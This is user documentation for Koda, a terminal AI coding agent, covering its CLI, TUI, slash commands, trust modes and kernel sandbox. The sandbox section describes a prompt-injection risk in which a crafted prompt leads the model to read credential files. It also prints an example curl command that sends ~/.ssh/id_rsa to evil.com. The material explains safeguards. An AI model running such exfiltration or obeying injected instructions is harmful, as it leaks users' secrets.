Koda π»
Koda is a terminal-native AI coding agent. It runs locally, keeps all data on your machine, and connects to any LLM provider you choose.
Modes at a glance
| Mode | How to invoke | Best for |
|---|---|---|
| Interactive TUI | koda (no args) | Long sessions, iterative coding |
| Headless | koda "prompt" or echo β¦ | koda | Scripts, CI, one-shot tasks |
| ACP server | koda server --stdio | Editor plugins (VS Code, Zed, β¦) |
Quick start
# 1. Open the interactive TUI
koda
# 2. Ask something at the prompt
# > explain why the auth tests are failing
# 3. Type /help inside for keybindings and commands
First run triggers onboarding: Koda looks for a running local model (LM Studio, Ollama) and falls back to prompting for a cloud API key.
Whatβs next
- Jump straight to the CLI reference for all flags
- Read about headless mode for scripting and CI use
- Explore slash commands for everything you can do in a session
- See providers & model aliases to connect your preferred LLM
CLI reference
Flags
| Flag | Env var | Description |
|---|---|---|
-p, --prompt <PROMPT> | Run a single prompt and exit (headless). Use "-" for stdin | |
<PROMPT> (positional) | Same as -p β koda "fix the bug" works | |
-a, --agent <NAME> | Agent definition to use (JSON in agents/, default: default) | |
-s, --resume <ID> | Resume a previous session by ID prefix | |
--model <NAME> | KODA_MODEL | Model name or alias (e.g. claude-sonnet, gemini-flash) |
--provider <NAME> | KODA_PROVIDER | LLM provider (anthropic, gemini, openai, ollama, β¦) |
--base-url <URL> | KODA_BASE_URL | Override the providerβs API base URL |
--max-tokens <N> | Maximum output tokens | |
--temperature <F> | Sampling temperature (0.0β2.0) | |
--thinking-budget <N> | Anthropic extended thinking budget (tokens) | |
--reasoning-effort <L> | OpenAI reasoning effort (low, medium, high) | |
--mode <MODE> | KODA_MODE | Trust mode: auto (default, #1241) or safe. Auto auto-approves mutating actions; the kernel sandbox contains them β destructive ops (rm -rf, git reset --hard, git push --force, Delete) and outside-project writes still confirm. Auto requires the kernel sandbox; on unsandboxed platforms koda refuses to start (use --mode safe or install the platform sandbox backend). Safe confirms every mutation. Kernel sandbox with credential protection is always active when available. |
--output-format <FMT> | Headless output format: text (default) or json | |
--project-root <DIR> | Project root (defaults to cwd) |
Subcommands
| Command | Description |
|---|---|
koda server --stdio | Start ACP server over stdin/stdout (for editors) |
koda server --port <N> | WebSocket ACP server on port N (not yet implemented) |
koda --version | Print version + kernel sandbox availability (one line, paste-friendly for bug reports) |
Headless mode
Headless mode runs a single prompt, prints the answer, and exits. No TUI β the assistantβs reply streams to stdout; tool status goes to stderr.
# Positional prompt (shortest form)
koda "what does this codebase do?"
# Explicit -p flag
koda -p "fix the failing tests"
# Read prompt from stdin (use "-" literally)
koda -p - < my_question.txt
# Pipe into koda β stdin is auto-detected when not a TTY
git diff HEAD~1 | koda
cat error.log | koda
echo "review auth.rs" | koda
# With a model override
koda "explain this" --model gemini-flash
# Capture just the assistant reply (tool status stays on stderr)
koda "list exported functions in lib.rs" > functions.txt
Exit codes
| Code | Meaning |
|---|---|
0 | Turn completed successfully |
1 | Error (API failure, bad config, β¦) |
Trust mode in headless mode
There is no human to approve tool calls. Koda applies a headless policy β more restrictive than interactive Auto mode:
- Approves read-only tools: Read, Grep, Glob, WebFetch
- Approves safe write tools: Write, Edit (files within the project)
- Rejects all destructive operations:
Deletetool,rm -rf,git push --force, etc. - Skips AskUser questions (prints to stderr, continues with empty answer)
The sandbox enforces credential protection and write restrictions regardless of trust mode.
Output formats
--output-format text (default) β streams the assistantβs reply to stdout
exactly as typed. Tool call summaries go to stderr.
--output-format json β emits a single JSON object after the turn ends:
{
"success": true,
"response": "The exported functions are β¦",
"session_id": "a3f8bc12-β¦",
"model": "claude-sonnet-4-6"
}
File attachment in headless mode
The @file syntax works in headless mode too:
koda "review @src/auth.rs and @tests/auth_test.rs"
Resuming a session in headless mode
# Note the session ID shown in the TUI status bar, then continue from a script
koda -s a3f8bc "run the failing tests and fix them"
Interactive TUI
Run koda with no arguments to open the full-screen TUI.
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β [conversation history β scrollable with PgUp/PgDn] β
β β
β β‘ Bash cargo test β
β β running 42 tests β¦ β
β β Bash (exit 0) β
β β
β All tests pass! Here's what I changed in `auth.rs` β¦ β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββ π» βββββββββββββββββ
β > _ β
β π 1 also update the README β
β π 2 then run the linter β
β β pop Β· Ctrl+U clear β
β claude-sonnet-4 β auto β ββββββββββ 78% β β³ 8s β π 2 queued ^U clear β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Layout
- History panel β scrollable conversation history. Supports syntax-highlighted code blocks, rendered markdown, and collapsible tool-call summaries.
- Input β multi-line editor with tab-completion for slash commands and
@filepaths, and reverse-search (Ctrl+R). - Queue preview β shown above the status bar only when the deferred queue has items. Displays up to 3 rows of pending text with index numbers, an overflow count, and keybinding hints. Hidden when the queue is empty.
- Status bar β live view of model, trust mode, current working
directory (right-truncated to fit, with
~substitution for$HOME), context usage bar, MCP server count (when configured), inference time, queue count, and last-turn token/speed stats.
Starting a conversation
Type your message and press Enter. Koda streams the response in real time.
Typing during inference
You can type while Koda is thinking or running tools. The input area stays active throughout. Two lanes are available:
Next lane β steer the current turn (default)
Press Enter during inference. Your text is sent directly to the engine
and injected into the current turn before the next provider request. The
model sees it immediately β useful for course-correcting mid-task.
π₯ Next: add the missing error handling too
Slash commands (/cancel, /clear, /model, β¦) are not accepted
mid-inference (#1211/#1222). Type /cancel agent:1 while the model is
thinking and youβll see a transient βslash commands disabled during
inference β press Esc firstβ hint instead of the text being silently
steered to the model. Press Esc to interrupt, then run the slash.
Later lane β queue for the next turn
Press Ctrl+J during inference. Your text is deferred to the later
queue and will run as a single new turn after the current one completes.
All deferred items are joined and submitted together, so the model sees them
as one message.
π Later (1): also bump the version number
Slash commands are blocked from this lane too (#1211/#1222) for the same
reason β a deferred /clear would silently wipe history when the next
turn starts. Press Esc, then run the slash.
Queue preview widget
While items are in the later queue, a preview panel appears above the
status bar:
π 1 also bump the version number
π 2 and update the changelog
β pop Β· Ctrl+U clear
β(Up Arrow) β pops the last item back into the editor so you can edit it before re-submitting.Ctrl+Uβ clears all deferred items without cancelling inference.Esc/Ctrl+Cβ cancels inference and also clears the queue so deferred messages donβt fire unexpectedly after a cancelled turn.
Choosing a lane
| Situation | Use |
|---|---|
| βActually, also handle the edge caseβ | Enter (next β stays in this turn) |
| βAfter this is done, update the docsβ | Ctrl+J (later β new turn when done) |
| Changed your mind about a later item | β to pop it back into the editor |
| Abort everything | Esc then clear queue with Ctrl+U if needed |
Approval prompt
When trust mode is safe or plan, Koda asks before executing tools.
The menu area shows the tool name, the action detail, and hotkeys:
Bash rm -rf dist/
[y] approve [n] reject [f] feedback [a] always
See Approval & trust modes for the full reference.
See also Slash commands and Keybindings.
File & image attachments
Attaching files
Type @ anywhere in your message to attach files as context:
> explain @src/auth.rs
> compare @old_impl.rs and @new_impl.rs
> what's wrong with @error.log
As you type after @, a fuzzy file picker appears. Press Tab to cycle
through matches or select with Enter. The fileβs full contents are
injected into the message before itβs sent to the model.
Images
For vision-capable models (Claude, Gemini, GPT-4o), attach images directly:
> what does @screenshot.png show?
> explain the architecture in @diagram.png
Supported formats: PNG, JPEG, GIF, WEBP. Images are base64-encoded and sent inline to the model API.
Non-image files (SVG, PDF, etc.) attached via @ are sent as text content,
not as vision input.
Large pastes
Pasting more than ~500 characters into the input is automatically wrapped in a reference block to keep prompts clean:
> [pasted 1,234 chars β attached as reference]
> what's the bug in this code?
The paste is still sent to the model; it just doesnβt clutter the display.
Slash commands
Type in the TUI input. Tab-completion is available for all commands.
/help
Shows the quick-reference keybinding card inside the TUI.
This docs site is the full reference; /help is the in-session reminder.
/model [<alias-or-id>]
Without an argument: opens an interactive picker listing all model aliases and any locally running models detected via LM Studio or Ollama.
With an argument: switches immediately.
/model gemini-flash β switch by alias
/model claude-opus β switch by alias
/model local β auto-detect from LM Studio
/model gpt-4o β literal model ID (no alias needed)
/model llama3.2 β any model name your provider understands
The new model is persisted to the keystore and used for all future sessions until changed again. See Providers & model aliases.
/provider [<name>]
Without an argument: opens a two-step picker β choose provider, then browse and pick one of its available models.
With an argument: jumps straight to that providerβs model list.
/provider β open the picker
/provider anthropic β go straight to Anthropic models
/provider ollama β browse locally running Ollama models
/key
Opens the API key manager. Select a provider, then type or paste your key. Keys are stored in the local SQLite keystore (file mode 0600) and injected as environment variables at every startup.
As of v0.2.27 (#1185), the input is rendered with each character masked
as β’ while you type, so a peer glancing at your terminal wonβt see the
key itself β useful for screen-sharing or pair-coding sessions. The
composer still tracks the real characters under the hood; backspace and
paste behave normally.
Shell env vars always win over stored keys β so export ANTHROPIC_API_KEY=β¦
in your shell or .envrc is always a clean override.
/compact
Summarises old conversation history to free context tokens. Koda auto-compacts when the context window hits 85% full, but you can trigger it manually at any time:
- All but the last 4 messages are summarised by the model
- The summary replaces the old messages in the DB
- The compressed session continues normally
- Use
/purgelater to clean up the archived messages
/purge [<age>]
Deletes compacted (archived) message history. Does not touch the live messages in your current session.
/purge β delete all archived messages (prompts for confirmation)
/purge 90d β only messages archived more than 90 days ago
/purge 30d β only messages archived more than 30 days ago
Requires y to confirm. Deleted messages are gone permanently.
/undo
Reverts all file mutations from the previous inference turn β Write,
Edit, and Delete tool calls. One /undo per turn; call again to go back
another turn. Bash commands (e.g. cargo build) are not undoable.
# Koda wrote bad code in the last turn
/undo β all file changes from that turn are reverted
/undo β undo the turn before that
/diff
Shows a summary of uncommitted git diff in the project root. Then offers:
- Review β sends the diff to the model for code review comments
- Commit β asks the model to write a conventional commit message and
runs
git commit -m "β¦"
/sessions [<sub-command>]
/sessions β open the session picker (shows last 100 sessions)
/sessions resume abc β resume the session whose ID starts with "abc"
/sessions delete abc β permanently delete that session
Session IDs are UUIDs; you only need 6β8 characters to be unambiguous. On resume, Koda shows an away-summary: idle time, message count, token usage, and a banner if the previous turn was interrupted mid-inference.
/memory [save]
/memory β show the paths to project and global memory files
/memory save β ask the model to summarise the session and append to MEMORY.md
See Memory for the full memory system.
/skills [<query>]
/skills β list all built-in and custom skills
/skills security β filter by name or description
/agent <name>
Switches to a named sub-agent for the current session. The agentβs system prompt, model, and allowed tools replace the current defaults.
/agent testgen β use the "testgen" agent definition
/agents
Removed in #1210. The flat-text /agents dump (and its short-lived
interactive replacement from #1191) was superseded by the always-on
bg-activity overlay rendered just above the status bar. The
overlay shows every running background sub-agent and shell process
in real time β id, name, the last tool call each one fired, and
elapsed age β with no slash-command needed.
π€ agent:1 explore Read('src/lib.rs') 2m
π€ agent:2 verify Bash('cargo test') 45s
βοΈ process:5821 cargo test --workspace 1m
+ 2 more
The LLM-facing equivalent is still the ListBackgroundTasks tool β
the model sees the same task ids when it asks about its own
background work.
/cancel <id>
Requests cancellation of a background task by id (visible in the bg-activity overlay above the status bar). Accepts three forms:
agent:Nβ fires the per-taskCancellationToken, which the inference loop checks between iterations. A cancelled sub-agent may run for one more iteration before noticing. The result still injects on the next user turn (with statusCancelledinstead ofCompleted), so you donβt lose any partial work the agent already did.process:Nβ sends SIGTERM to the shell process. The reaper transitions the entry toKilledimmediately and toExitedonce the OS confirms the process is gone.N(bare numeric) β back-compat with the original single- registry/cancelUX; treated asagent:N.
/cancel agent:1 β cancel background sub-agent #1
/cancel process:5821 β SIGTERM background shell process pid 5821
/cancel 1 β back-compat: same as `/cancel agent:1`
Idempotent: re-running /cancel agent:1 on an already-cancelled
task is a no-op; /cancel process:N on an already-dead pid is also
a no-op (the kernel just rejects the SIGTERM). Unknown ids report a
helpful error rather than silently no-oping.
The LLM-facing equivalent is the CancelTask tool, which uses the
same parser and accepts the same prefixed forms.
/expand [<n>]
Shows the full, untruncated output of a recent tool call. Useful when Koda
collapsed a long cargo build or grep result during streaming.
/expand β show full output of the most recent tool call
/expand 3 β show full output of the 3rd most recent tool call
/copy [<n>]
Copies the Nth-most-recent assistant response to the system clipboard.
Defaults to the most recent response (n=1).
/copy β copy the last response
/copy 2 β copy the second-to-last response
/copy 5 β copy the fifth-to-last response
Reads from the full session DB, so compacted (summarised) responses are included in the count. A one-line preview is shown in the confirmation.
/debug-bundle
Writes a self-contained .zip artifact capturing everything a debugger
(human or LLM) needs to reason about the current session. Replaces the
/export command removed in v0.2.26 (RFC #1167).
/debug-bundle
The bundle is written to:
~/.config/koda/debug-bundles/koda-debug-{timestamp}-{slug}.zip
where {slug} is derived from the first user message. The success
message prints the full path and a hint to the raw log directory:
Wrote debug bundle β /Users/you/.config/koda/debug-bundles/koda-debug-20260429-082303-fix-the-auth-bug.zip
raw logs: /Users/you/.config/koda/logs/latest
Bundle layout
| File | Whatβs in it |
|---|---|
README.md | Human-orientation: what each file is, when to share, the env-var redaction caveat |
conversation.md | Full session rendered via the same history_render pipeline as the live TUI β byte-for-byte identical to what you saw on screen |
messages.json | Raw per-message DB rows (role, content, tool calls, tool results) |
metadata.json | Session ID, title, started-at, model, provider, current PID, capture timestamp |
env.txt | Allowlist-filtered environment variables (see below) |
logs/koda-{PID}.log | Full per-process tracing log captured by the active session |
logs/panic.log | Present only if the session encountered a panic; mirrors ~/.config/koda/logs/panic.log |
The .zip format was chosen for random-access reads β LLM debugging
workflows that poke at one file at a time pay O(file) instead of
O(bundle), and the artifact opens cleanly in Finder Quick Look,
Windows Explorer, and any unzip CLI.
Environment-variable redaction
env.txt is filtered through an allowlist by default in
koda-cli/src/debug_bundle/env_filter.rs. The filter has three
categories:
- Pass through verbatim:
KODA_*,RUST_*,LC_*,LANG,TERM,SHELL,PATH, proxy vars (HTTP_PROXY/HTTPS_PROXY/NO_PROXY). - Length-redact: known credential vars (
OPENAI_API_KEY,ANTHROPIC_API_KEY,GITHUB_TOKEN,GEMINI_API_KEY, etc.) appear as<redacted, N bytes>so their presence is visible to the debugger but the value never leaks. - Drop entirely: PII (
HOME,USER,PWD,LOGNAME) and any unknown variable. Defaulting unknown to drop protects against unanticipated future credential names.
There is no runtime opt-in to disable this filter. Embedding raw
std::env::vars() in a sharable artifact is a foot-gun even with
opt-in flags; the bundle README also reminds you to re-check env.txt
before sharing externally.
When to use it
- Reporting a bug to the koda issue tracker β attach the
.zipso maintainers see your exact session, panic context, and runtime environment. - Asking another LLM (Claude, ChatGPT, Gemini) to help debug a koda
session β the model can
unzipand readconversation.mddirectly. - Capturing a known-bad state for later analysis (the timestamped filename + slug make bundles trivially sortable).
Self-correlating logs (v0.2.26)
When a panic occurs, the panic hook now emits a tracing::error!
breadcrumb in rustcβs default format (thread '<name>' panicked at <location>: <message>) before writing panic.log. The breadcrumb
lands in the per-process tracing log, so within a /debug-bundle the
logs/panic.log and logs/koda-{PID}.log are correlatable by
wall-clock timestamp β no more orphan panic files disconnected from
the events that led up to them.
/verbose [on|off]
Toggles verbose tool output. By default Koda collapses long outputs during streaming. Verbose mode shows every line in real time.
/verbose β toggle
/verbose on β enable explicitly
/verbose off β disable explicitly
/vim
Toggles vim-mode editing in the input composer. When enabled, the
composer behaves like a single-buffer vi: Esc enters Normal mode,
i/a/o re-enter Insert mode, and the usual h j k l, w b e,
0 $, gg G, dd yy p, x, cc, ci<delim>, ca<delim>, etc.
bindings are honored. Useful when youβre already living in vim and
want the same muscle memory in kodaβs chat input.
Added in v0.2.27 (#1182). The setting is per-session only; relaunching koda starts back in plain insert mode.
See also: Keybindings β Vim mode.
/exit
Quit Koda. Equivalent to Ctrl+D.
/mcp <sub-command>
Manage external MCP (Model Context Protocol) servers. See MCP servers for the full reference.
/mcp list β list configured servers + status
/mcp add <name> <command> [args...] β add a stdio server
/mcp add-http <name> <url> [--token <tok>] β add an HTTP server
/mcp reconnect <name> β reconnect without restart
/mcp remove <name> β permanently delete a server
Keybindings
Input
| Key | Action |
|---|---|
Enter | Send message (or queue as next during inference; slash commands rejected mid-inference β press Esc first) |
Ctrl+J | Queue message as later during inference (slash commands rejected mid-inference β press Esc first) |
Alt+Enter | Insert newline (multi-line input) |
Tab | Autocomplete slash commands and @file paths |
Shift+Tab | Cycle trust mode (Safe β Auto) |
β / β | Cycle through input history (idle) Β· pop later queue into editor (during inference) |
Ctrl+R | Reverse history search |
Ctrl+U | Clear deferred (later) queue during inference |
Navigation
| Key | Action |
|---|---|
PgUp / PgDn | Scroll history one page up / down |
Home | Jump to top of history |
End | Jump to bottom (latest output) |
| Mouse scroll | Scroll conversation history |
Session control
| Key | Action |
|---|---|
Esc | Cancel current inference |
Ctrl+C | Cancel current inference |
Ctrl+D | Quit koda |
Editor (composer)
Deletion chords inside the input composer. The redundant variants exist so users coming from different terminals / OSes hit a working binding on the first try (ported from upstream codex in #1278 to match codexβs default keymap).
| Key | Action |
|---|---|
Backspace Β· Shift+Backspace Β· Ctrl+H | Delete character before cursor |
Delete Β· Shift+Delete Β· Ctrl+DΒΉ | Delete character after cursor |
Alt+Backspace Β· Ctrl+Backspace Β· Ctrl+Shift+Backspace Β· Ctrl+W | Delete word before cursor |
Alt+Delete Β· Ctrl+Delete Β· Ctrl+Shift+Delete | Delete word after cursor |
ΒΉ Ctrl+D deletes a character only when the input has content; on an
empty input it quits koda (see Session control above).
Approval prompt
These keys appear when the agent asks to execute a tool:
| Key | Action |
|---|---|
y | Approve this action |
n | Reject this action |
a | Approve and switch to auto mode (no more confirmations this session) |
f | Reject and type written feedback explaining why |
Esc | Reject (same as n) |
Vim mode
Toggle with /vim. Once enabled, the input
composer behaves like a single-buffer vi.
Modes: Insert (default after toggle) β Normal (Esc).
| Mode | Keys | Action |
|---|---|---|
| Normal | i, a, o, O, I, A | Re-enter Insert at various positions |
| Normal | h j k l | Move cursor left/down/up/right |
| Normal | w, b, e | Word forward / back / end-of-word |
| Normal | 0, ^, $ | Beginning of line / first non-blank / end of line |
| Normal | gg, G | Jump to first / last line |
| Normal | x, dd, yy, p, P | Delete char / line Β· yank line Β· paste after / before |
| Normal | cc, ci<delim>, ca<delim> | Change line / inside / around delimiter |
| Normal | dw, db, de, d$, d0 | Delete by motion |
| Normal | u, Ctrl+R | Undo Β· Redo |
| Normal | : | (Reserved β no commands wired yet) |
Caveat: Vim mode is per-session and the slash command toggles it
on/off; it does not persist across koda restarts. The setting also does
not affect Approval-prompt keys above (those remain y/n/a/f/Esc).
Composer key hints
A single-line footer below the input shows context-sensitive key hints
(e.g. Enter send Β· Alt+Enter newline Β· Tab complete). The hints update
based on whether the input is empty, has content, has an active dropdown,
or is in vim mode. Added in v0.2.27 (#1183).
Trust modes
Koda has one permission knob β TrustMode β that controls
whether tool calls execute, get a confirmation prompt, or get blocked
outright. Toggle with Shift+Tab in the TUI; the current mode is
shown as a color-coded badge in the status bar.
Mental model in one paragraph
The trust mode is the single mechanism for tool gating. Every
permission decision in Koda β whether the master agent can write to
disk, whether a sub-agent can call Bash, whether rm -rf is
auto-approved β derives from (trust_mode, tool_effect). The kernel
sandbox (macOS seatbelt / Linux bwrap) is the always-on safety
floor underneath; the trust mode only decides whether you see a
confirmation prompt before each mutation. There are no separate
βstrict mode,β βyolo mode,β or per-tool toggles to keep in your head.
The three modes
| Mode | Badge | Mental model |
|---|---|---|
| Plan | π PLAN (cyan) | βInvestigation only β no side effects.β Read tools auto-approve; mutating and destructive tools are blocked (not just confirmed). Use for code review, exploration, and dry runs. |
| Safe | π SAFE (yellow) | βConfirm every side effect.β Read tools auto-approve; everything that mutates state asks first. Use this in CI, locked-down workstations, or any context where you want a human in every approval loop. |
| Auto | β‘ AUTO (bold green) | βTrust the sandbox.β Read and mutating ops auto-approve within the sandbox; destructive ops (rm -rf, git reset --hard, git push --force, Delete) still ask. Outside-project writes still ask. Default since #1241 β the kernel sandbox + outside-project floor + destructive backstop combined provide a solid baseline without nag-by-default friction. Auto requires the kernel sandbox; on unsandboxed platforms koda refuses to start (#860 / #1259). |
All three badges share the same icon + UPPERCASE + bold styling so the trust mode is unmissable in the status bar regardless of which mode youβre in. Auto originally rendered as inverted black-on-green for extra loudness, but the hardcoded background clashed with terminal color schemes that already use bright green palettes; reverted to bold green text for guaranteed readability on every scheme. (#1232 Β§8a, originally #1243; reverted post-merge.)
Trust mode Γ tool effect matrix (top-level / master agent)
The master agent β i.e. you talking to Koda directly β uses this matrix:
| Tool effect | Plan | Safe | Auto |
|---|---|---|---|
ReadOnly | β auto | β auto | β auto |
LocalMutation (Write/Edit/MemoryWrite) | β deny | βΈ confirm | β auto |
RemoteAction | β deny | βΈ confirm | β auto |
Destructive (Delete, rm -rf, force-push, β¦) | β deny | βΈ confirm | βΈ confirm |
| Outside-project write | β deny | βΈ confirm | βΈ confirm |
Why Auto Γ Destructive confirms (changed in #1251): the user
said YOLO for normal work, not for rm -rf. Destructive ops by
definition canβt be undone by the sandbox alone (deleting a tracked
file is βlegalβ inside the project root), so Auto keeps the prompt
as a deliberate speed-bump.
Sub-agent matrix (context-sensitive resolution)
Sub-agents (anything dispatched via InvokeAgent) have no live
human approval channel β by design. The master agentβs TUI is the
only confirm-prompt surface; sub-agents run headlessly and canβt
βaskβ anyone. So the sub-agent matrix resolves what the master would
treat as βΈ confirm using a safe-side rule:
| Tool effect | Sub-agent in Plan | Sub-agent in Safe | Sub-agent in Auto |
|---|---|---|---|
ReadOnly | β auto | β auto | β auto |
LocalMutation | β deny | β auto | β auto |
RemoteAction | β deny | β auto | β auto |
Destructive | β deny | β block | β block |
| Outside-project write | β deny | β block | β block |
The asymmetry on the βaskβ cells: in Safe mode, mutating ops auto-approve (the user already trusted this sub-agent enough to spawn it; nagging would be useless without a UI to nag in), but destructive ops block (we still want a backstop on the worst ops, even when no oneβs home to confirm). This is the bug fix from #1249 β pre-#1251, every Write from a Safe-trust sub-agent was auto-rejected with βrequires user confirmation but this sub-agent has no channel to the user.β
The sub-agent matrix is implemented in
koda_core::trust::check_tool_for_sub_agent; the master matrix is
check_tool. Both are pure functions with the same signature
otherwise.
Always-on safety floors
These apply regardless of the trust mode:
- Kernel sandbox (macOS seatbelt / Linux bwrap) restricts file
writes to the project directory + scratch zones (
/tmp,~/.cache,~/.cargo, etc.) and protects credential dirs/files. See Sandbox. - Outside-project floor β writes to paths outside the project root always confirm (Safe + Auto) or deny (Plan), even if the matrix would otherwise auto-approve.
- Sandbox-unavailable refusal β if the platform backend isnβt
installed (e.g.
bwrapmissing on Linux), Auto mode refuses to start with an actionable error that includes a platform-specific install hint (e.g.apt install bubblewrap). The previous βsilently downgrade Auto β Safeβ plan was replaced (#860) because silent coercion is catastrophic in headless:koda --mode auto -p "..."would become Safe and every mutation would hitRejectAuto(no human channel), aborting the task halfway. Hard refusal at startup gives a clear error + exit code 1 instead. Safe and Plan are unaffected. The TUI status bar shows the current sandbox state (π‘ sandboxed / β unsandboxed) next to the trust badge so you can see at a glance why Auto refuses on your system;koda --versionprints the same state on a paste-friendly one-liner. - Agent-file protection β
.koda/agents/and.koda/skills/are write-protected in every mode to prevent prompt injection from rewriting an agentβs tools or system prompt mid-session. - Credential scrub β sandboxed shell calls run with a fixed env
allowlist; secrets like
OPENAI_API_KEY,AWS_SECRET_ACCESS_KEY,GITHUB_TOKENnever reach the child process. (#1228)
Approval keys
When a confirmation prompt appears:
| Key | Effect |
|---|---|
y | Approve this one action |
n | Reject this one action |
a | Approve and enable Auto mode for the rest of the session |
f | Reject and provide written feedback the model can act on |
Esc | Reject (same as n) |
Per-agent trust declaration
Custom agents declare their trust mode in JSON via the trust field:
{ "name": "my-reviewer", "trust": "plan", "...": "..." }
Valid values: "plan" | "safe" | "auto". See Custom agents
for the full per-agent shape.
The legacy write_access: bool field is deprecated β pre-existing
JSONs continue to work (a warning is logged at load), but new agents
should use trust: directly. The new field is strictly more
expressive: it captures kernel sandbox bounds + per-tool approval
rules + sub-agent context-sensitive defaults in one declaration,
where write_access only spoke to the second half.
Headless mode
In headless mode there is no human to prompt. Koda applies the
headless policy documented in Headless mode: read
and safe in-project mutating tools approve, destructive Bash commands
and Delete are rejected, and the sandbox enforces the perimeter.
Auto still requires the kernel sandbox before headless execution can
start.
Reference
- Master matrix:
koda_core::trust::check_tool - Sub-agent matrix:
koda_core::trust::check_tool_for_sub_agent - Sandbox-unavailable Auto refusal:
koda_core::trust::require_sandbox_for_auto- setup hints from
koda_core::sandbox::setup_hint
- setup hints from
- Per-agent loader & deprecation warning:
koda_core::config::KodaConfig::load - Status-bar badge rendering:
koda_cli::widgets::status_bar
Sandbox
Kodaβs kernel sandbox is always active β every Bash command runs inside a sandboxed process. The sandbox enforces the perimeter; the trust mode controls whether you see a confirmation prompt before each mutation.
File tool read policy
Kodaβs Read, List, Grep, and Glob tools are intentionally unrestricted β
they can access any path on the filesystem the OS permits, including paths
outside the project directory (e.g. ../other-repo, ~/.ssh/config).
Only Write, Edit, and Delete are gated to the project root.
Why reads are unrestricted
-
Reads cannot mutate state. The worst-case outcome of an out-of-scope read is that the model sees something sensitive in its context window β which you, watching the terminal, can also see. No irreversible damage occurs.
-
Bash already has the same reach. The Bash tool runs inside the kernel sandbox but has read access to the full filesystem. Restricting the Read tool while leaving Bash unrestricted is security theater β the model just falls back to
cat ../secret.txt. -
OS-level sandboxing is the real boundary. On macOS (Seatbelt) and Linux (bwrap), the sandbox already defines what the process can access at the kernel level. Duplicating that check in the tool layer adds friction without adding protection.
-
Cross-repo workflows are common. Developers routinely ask koda to read a sibling repo, a shared library, or a dotfile β restricting this forces awkward workarounds.
This follows the Claude Code approach β Claude Codeβs
Readtool imposes no project-root scope check at all.
Accepted risk
β οΈ A carefully crafted prompt could trick the model into reading and summarising sensitive files β for example
~/.aws/credentials,~/.ssh/id_rsa, or~/.netrcβ without explicit user consent. The content would appear in the chat window but not be exfiltrated unless the model also makes a network request (Bash +curl, WebFetch, etc.).Mitigations:
- Those files are write-protected by the kernel sandbox, so the model cannot modify or delete them.
- Network exfiltration via Bash is constrained by the sandboxβs outbound network policy.
- Trust-mode
saferequires explicit approval before every Bash command, which catchescurl-style exfiltration attempts.If you work with highly sensitive secrets and want file-level read protection, run koda in a containerised environment with access to only the files you intend to expose.
Write restrictions
Bash commands can only write to:
- The project directory
/tmpand standard cache dirs (~/.cache,~/.cargo, etc.)
The in-process file tools (Write, Edit, Delete) enforce the
same perimeter via safe_resolve_path (logical check) and
koda_sandbox::fs::verify_mutation_safe (canonicalizing
symlink-aware check). The two layer: the first rejects literal
../etc/passwd style escapes, the second rejects symlink escapes
(the final path component being a symlink to outside, or any
parent directory being one). See #1281.
The symlink check is enforced even with --no-sandbox. The
debug escape hatch is for shell tracing; it isnβt a license to
let the LLM clobber arbitrary files via a planted symlink.
In-project symlinks (e.g. examples/latest -> v3/) keep working;
only links whose canonical target escapes every allowed root are
rejected.
Credential protection
Credential directories and files are write-protected β sandboxed commands cannot modify them, but CLI tools can still read their own config to authenticate. This follows the Codex model where the entire host filesystem is read-only and credential dirs are not special-cased beyond that.
Write-protected directories (reads allowed):
~/.sshβ SSH private keys~/.awsβ AWS credentials~/.gnupgβ GPG private keys~/.kubeβ Kubernetes config and tokens~/.azureβ Azure CLI tokens~/.password-storeβ pass(1) encrypted passwords~/.terraform.dβ Terraform cloud tokens~/.claudeβ Claude Code settings and session tokens~/.androidβ Android SDK debug keystores and signing keys~/.config/gcloudβ gcloud CLI credentials~/.config/ghβ GitHub CLI PATs~/.config/opβ 1Password CLI tokens~/.config/helmβ Helm registry auth~/.config/netlifyβ Netlify CLI access tokens~/.config/vercelβ Vercel CLI credentials~/.config/flyβ Fly.io CLI auth tokens~/.config/dopplerβ Doppler secrets manager tokens~/.config/stripeβ Stripe CLI API keys~/.config/herokuβ Heroku CLI OAuth tokens
Write-protected files (reads allowed):
~/.netrc, ~/.git-credentials, ~/.npmrc, ~/.pypirc,
~/.docker/config.json, ~/.vault-token, ~/.env
Fully blocked (read + write):
~/.config/koda/dbβ Kodaβs SQLite DB containing plaintext API keys
Security note β accepted risk: A sandboxed command can read credential material and could exfiltrate it over the network (e.g.
curl https://evil.com -d @~/.ssh/id_rsa). Blocking credential reads without blocking network egress is security theater β the model could also obtain tokens from environment variables, process output, or tool-specific commands likegh auth token. Network-level egress restriction (#844 Gap 4) is the proper mitigation and is tracked separately.The only exception is
koda/dbβ kodaβs own API keys have no legitimate use inside the sandbox (the koda process runs outside the sandbox), so full read+write deny is justified.
Agent-file protection
In all modes, writes to .koda/agents/ and .koda/skills/ within the
project are blocked. This prevents a sandboxed command from modifying
agent definitions that could alter system prompts or tool access.
Sub-agent inheritance
Child agents inherit the parentβs trust mode and sandbox via
TrustMode::clamp() β a child can never run with less protection than
its caller. If the parent runs in Safe mode, the child runs in Safe mode
even if the agent JSON specifies "trust": "auto".
Within that clamp, sub-agents resolve permission decisions through a
context-sensitive matrix (koda_core::trust::check_tool_for_sub_agent)
that differs from the master matrix on the βaskβ cells: mutating ops
auto-approve and destructive ops block, since sub-agents have no live
human approval channel by design. See
Trust modes Β§ sub-agent matrix.
Platform backends
| Platform | Backend | Install |
|---|---|---|
| macOS | sandbox-exec (seatbelt) | Built-in |
| Linux | bwrap (bubblewrap) | apt install bubblewrap |
| Windows | Not supported | β |
If the platform backend is unavailable (e.g. bwrap not installed on
Linux), behavior depends on your trust mode:
- Auto mode: koda refuses to start with an actionable error
that includes a platform-specific install hint (e.g.
apt install bubblewrapon Linux). Auto auto-approves mutating tool calls and relies on the kernel sandbox to contain them β silently dropping that boundary at startup is a security foot-gun. See #860. - Safe mode: koda runs unsandboxed with a one-time warning
(
tracing::warn!). The human is the primary boundary in Safe (every mutation prompts), so the sandbox is defense-in-depth rather than the primary perimeter. - Plan mode (sub-agent only): kernel sandbox state is irrelevant β Plan denies all mutating tools at the trust layer; Bash never runs.
Run koda --version to see your platformβs sandbox state in one
line (paste-friendly for bug reports). The TUI status bar also
surfaces the current state next to the trust badge
(π‘ sandboxed / β unsandboxed).
Workspace providers
